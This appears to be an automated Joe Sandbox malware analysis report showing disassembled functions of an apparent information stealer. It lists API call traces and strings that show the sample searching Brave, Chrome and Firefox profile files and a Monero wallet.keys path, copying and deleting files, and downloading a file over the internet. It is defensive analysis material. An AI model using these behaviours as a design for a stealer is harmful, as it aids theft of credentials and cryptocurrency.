Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: ad3549426d5d4f2f4623ce80ee7fb2cd12a31a37d25f25b3e58a2180fdc6839c
Instruction ID: d648c5f8a59ba8177503ff8557441d64b1b8b7e1567aa5f704a6e06a9f992579
Opcode Fuzzy Hash: ad3549426d5d4f2f4623ce80ee7fb2cd12a31a37d25f25b3e58a2180fdc6839c
Instruction Fuzzy Hash: 054245729001085BCB18FB70DD56EED73BDEF44300F44556AF90AB6281EE359B4ACB92

Function 00ED4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00ED492C
FindFirstFileA.KERNEL32(?,?), ref: 00ED4943
StrCmpCA.SHLWAPI(?,00EE0FDC), ref: 00ED4971
StrCmpCA.SHLWAPI(?,00EE0FE0), ref: 00ED4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00ED4B7D
FindClose.KERNEL32(000000FF), ref: 00ED4B92

Strings

%s\%s, xrefs: 00ED49A4
%s\*, xrefs: 00ED4920
%s\%s, xrefs: 00ED49FB

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 0af0f8933ac05bee1c5c9d30700527609fb444dbb59697744dc70f3e930ffe0d
Instruction ID: 9734229a052d8aaf151efa658316acde7dc0cb62b3e78b5783cd95bc4124d8ef
Opcode Fuzzy Hash: 0af0f8933ac05bee1c5c9d30700527609fb444dbb59697744dc70f3e930ffe0d
Instruction Fuzzy Hash: 016165B1900218ABCB35EBA0EC45FEA73BCFF58301F048599B509A6145EB71DB85CF91

Function 00ED3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00ED3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00ED3EDA
StrCmpCA.SHLWAPI(?,00EE0FAC), ref: 00ED3F08
StrCmpCA.SHLWAPI(?,00EE0FB0), ref: 00ED3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00ED406C
FindClose.KERNEL32(000000FF), ref: 00ED4081

Strings

%s\%s, xrefs: 00ED3EB7

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: cd7aa8c301e802b4d4e2f945bc5bcbbe5fe6381302960c9219fc36394cc33210
Instruction ID: 0e78bac920c929196d840b64c1d3d9e4beb4a2955d4e7746184db4b5081b108e
Opcode Fuzzy Hash: cd7aa8c301e802b4d4e2f945bc5bcbbe5fe6381302960c9219fc36394cc33210
Instruction Fuzzy Hash: BC5176B6900318ABCB25EBB0DC45EEA73BCFF48300F005599B659A2140DBB5DB86CF51

Function 00ECF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00EE15B8,00EE0D96), ref: 00ECF71E
StrCmpCA.SHLWAPI(?,00EE15BC), ref: 00ECF76F
StrCmpCA.SHLWAPI(?,00EE15C0), ref: 00ECF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00ECFAB1
FindClose.KERNEL32(000000FF), ref: 00ECFAC3

Strings

prefs.js, xrefs: 00ECF812

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: f2f8a117fa1c06f9e10da5e1a374379ce8ff5193bafa163dad74abe036b5e352
Instruction ID: 65236e63a33b0e2d27d793cf8d4d25fe38795ec1eaff8c7870f8758367641d1e
Opcode Fuzzy Hash: f2f8a117fa1c06f9e10da5e1a374379ce8ff5193bafa163dad74abe036b5e352
Instruction Fuzzy Hash: 1FB135769002589BCB28EF60DD55FED73B9EF54300F4491BAE80AA7241EF315B4ACB91

Function 00EC16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00EE510C,?,?,?,00EE51B4,?,?,00000000,?,00000000), ref: 00EC1923
StrCmpCA.SHLWAPI(?,00EE525C), ref: 00EC1973
StrCmpCA.SHLWAPI(?,00EE5304), ref: 00EC1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00EC1D40
DeleteFileA.KERNEL32(00000000), ref: 00EC1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00EC1E20
FindClose.KERNEL32(000000FF), ref: 00EC1E32

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Strings

\*.*, xrefs: 00EC17F1

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: e87b7c44503ee2fb11d4c7e96e47c621a79ce86589c8d6f59d3b770214509e6e
Instruction ID: c9096b47d3783d2bc713f90d7ea694eec2d372e3cf2feff0611045fd92179127
Opcode Fuzzy Hash: e87b7c44503ee2fb11d4c7e96e47c621a79ce86589c8d6f59d3b770214509e6e
Instruction Fuzzy Hash: 181231769101589ACB19EB60DC96EED73B8EF54300F4461BAB50A72191EF306F8BCF91

Function 00ECDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00EE14B0,00EE0C2A), ref: 00ECDAEB
StrCmpCA.SHLWAPI(?,00EE14B4), ref: 00ECDB33
StrCmpCA.SHLWAPI(?,00EE14B8), ref: 00ECDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00ECDDCC
FindClose.KERNEL32(000000FF), ref: 00ECDDDE

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 58d497a458374c919c927d558df5d52f778d6f7b05595900a8fa77548a23356c
Instruction ID: 99e495fc0f6de208d5765e73f6499cfcd9b07fe5bb3a0e766d9373c40cd950b4
Opcode Fuzzy Hash: 58d497a458374c919c927d558df5d52f778d6f7b05595900a8fa77548a23356c
Instruction Fuzzy Hash: 0691457290020457CB14FF70ED56EED73BDEF84300F44967AB81AB6241EE759B4A8B92

Function 00EC60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EC4839
Part of subcall function 00EC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EC4849

InternetOpenA.WININET(00EE0DF7,00000001,00000000,00000000,00000000), ref: 00EC610F
StrCmpCA.SHLWAPI(?,00A9E948), ref: 00EC6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00EC618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00EC61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00EC61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00EC620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00EC6249
InternetCloseHandle.WININET(?), ref: 00EC6253
InternetCloseHandle.WININET(00000000), ref: 00EC6260

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 93d22907d916864672d8acb7c2543aa312321e60c07a87a720a691a74411e46a
Instruction ID: e0911f4c0bf2d9b16d8feea643ebae9d7aa14b3143bd26ce22822ad91371458d
Opcode Fuzzy Hash: 93d22907d916864672d8acb7c2543aa312321e60c07a87a720a691a74411e46a
Instruction Fuzzy Hash: AB5180B1900218ABDB24DF50DD49FEE77B8EF44305F1090A9B605B72C0DBB66A86CF95

Function 00ED7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

GetKeyboardLayoutList.USER32(00000000,00000000,00EE05AF), ref: 00ED7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00ED7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00ED7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00ED7C62
LocalFree.KERNEL32(00000000), ref: 00ED7D22

Strings

/ , xrefs: 00ED7C7F

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
